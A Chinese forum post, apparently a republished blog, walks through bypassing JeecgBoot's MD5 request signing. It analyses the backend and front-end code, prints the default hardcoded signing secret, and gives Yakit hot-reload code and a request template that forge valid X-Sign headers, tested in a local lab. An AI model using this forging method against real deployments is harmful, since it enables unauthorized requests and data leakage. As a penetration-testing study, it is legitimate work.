app&小步伐&web安全—sign签名绕过

打印 上一主题 下一主题

主题 950|帖子 950|积分 2850

零、前言

在web界面登陆时,小步伐和app传输数据时常常会碰到签名,会对请求的参数举行签名,如果自己修改了数据包就会校验失败非常贫苦。
本文编写的契机就是由于碰到了一个JeecgBoot的小步伐, 想请求信息泄露的url但是显示“Sign签名校验失败”,让我非常无语,得手的漏洞飞了。以是计划研究一下签名,本文讲的是md5签名,以后再研究研究aes加密传输数据啥的。
一、环境准备

本文测试环境为JeecgBoot,代码链接:jeecgboot/Github
环境配置链接:IDEA启动项目 - JeecgBoot 文档中央
配置好依赖和数据库后启动后端:org.jeecg.JeecgSystemApplication

启动Vue3前端,点击dev,Jeecg启动!

二、阅读代码(后端)

关于签名函数的位置我不太会定位,是通过网络搜索找到的。

终极定位到SignAuthConfiguration、SignAuthInterceptor和SignUtil等类。
1. SignAuthConfiguration

SignAuthConfiguration关键代码
  1. boolean isSigned = SignUtil.verifySign(allParams,headerSign);
  2. if (isSigned) {
  3.     log.debug("Sign 签名通过!Header Sign : {}",headerSign);
  4.     return true;
  5. }
复制代码
调用了verifySign举行校验签名,如果isSigned为true,签名通过。
2. SignUtil.verifySign

SignUtil.verifySign代码
  1. public static boolean verifySign(SortedMap<String, String> params,String headerSign) {
  2.     if (params == null || StringUtils.isEmpty(headerSign)) {
  3.         return false;
  4.     }
  5.     // 把参数加密
  6.     String paramsSign = getParamsSign(params);
  7.     log.info("Param Sign : {}", paramsSign);
  8.     return !StringUtils.isEmpty(paramsSign) && headerSign.equals(paramsSign);
  9. }
复制代码
经过调试得出params的内容是get和post请求参数的总和:

调用了getParamsSign来举行校验签名。
3. SignUtil.getParamsSign

SignUtil.getParamsSign关键代码
  1. String signatureSecret = jeecgBaseConfig.getSignatureSecret();
  2. return DigestUtils.md5DigestAsHex((paramsJsonStr + signatureSecret).getBytes("UTF-8")).toUpperCase();
复制代码
对http请求参数paramsJsonStr加上signatureSecret的值,举行md5运算,末了对md5值大写处置惩罚。
signatureSecret的值在org/jeecg/config/JeecgBaseConfig.java里:dd05f1c54d63749eda95f9fa6d49v442a

4. 末了

getParamsSign返回签名计算后的数据,verifySign对后端计算的sign和http请求头的X-Sign举行比较,如果相同则sngn校验通过,返回true。
实践一下
获取验证码处抓包,清除掉多余请求头。
  1. POST /jeecgboot/sys/sms HTTP/1.1
  2. Host: 192.168.171.1:3100
  3. X-Sign: 1478A8A6639F1495342C603DC05BAEB7
  4. X-TIMESTAMP: 1732282707313
  5. Content-Type: application/json;charset=UTF-8
  6. {"mobile":"13066668888","smsmode":"1"}
复制代码

处置惩罚后,可以看到和X-Sign值一样。

以是JeecgBoot的签名逻辑就是把请求内容加上密钥,然后再举行md5计算,末了大写字符,就得到了X-Sign字符。
三、阅读代码(前端)

打开开辟者工具,全局搜索secret,可以看到签名密钥
  1. const signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a';
复制代码

文件位置:/src/utils/encryption/signMd5Utils.js
在signMd5Utils.js的第43行可以看到签名逻辑
  1. return md5(JSON.stringify(requestBody) + signatureSecret).toUpperCase();
复制代码

调试后可以看出签名逻辑和后端一样,都是将请求内容加上密钥,然后md5再大写处置惩罚。

四、关于参数顺序的问题

上面只测试了POST请求体的参数,如果通过url传参该怎么加密呢?
这里通事后端调试可以看出,参数是按照(数字,大写字母,小写字母)的顺序来排序的。
URL的参数为:1papam=0&Zparam=1&aparam=2&nparam=3
请求体为:{"mobile":"13066668888","smsmode":"1"}
终极整合成json,得到的数据为:
  1. {"1papam":"0","Zparam":"1","aparam":"2","mobile":"13066668888","nparam":"3","smsmode":"1"}
复制代码
请求

后端log:log.info("aram paramsJsonStr : {}", paramsJsonStr)

五、Yak

随便写了点yakit的热加载代码,如今才知道yaklang功能很强盛,但照旧不太熟练,以是实战用处不大。
  1. func sign(mobile) {
  2.     return codec.Md5(f`{"mobile":"${mobile}","smsmode":"1"}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
  3. }
复制代码
  1. func sign(param) {
  2.     return codec.Md5(f`${param}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
  3. }
复制代码

  1. POST /jeecgboot/sys/sms HTTP/1.1
  2. Host: 192.168.171.1:3100
  3. X-Sign: {{yak(sign|{"mobile":"13066668888","smsmode":"1"})}}
  4. X-TIMESTAMP: {{timestamp(ms)}}
  5. Content-Type: application/json;charset=UTF-8
  6. {"mobile":"13066668888","smsmode":"1"}
复制代码

六、参考文章

jeecg 请求url签名_signauthconfiguration
渗透测试高级本领:分析验签与前端加密
Fuzz Tag Playbook (yaklang.io)
热加载 (yaklang.io)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

勿忘初心做自己

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表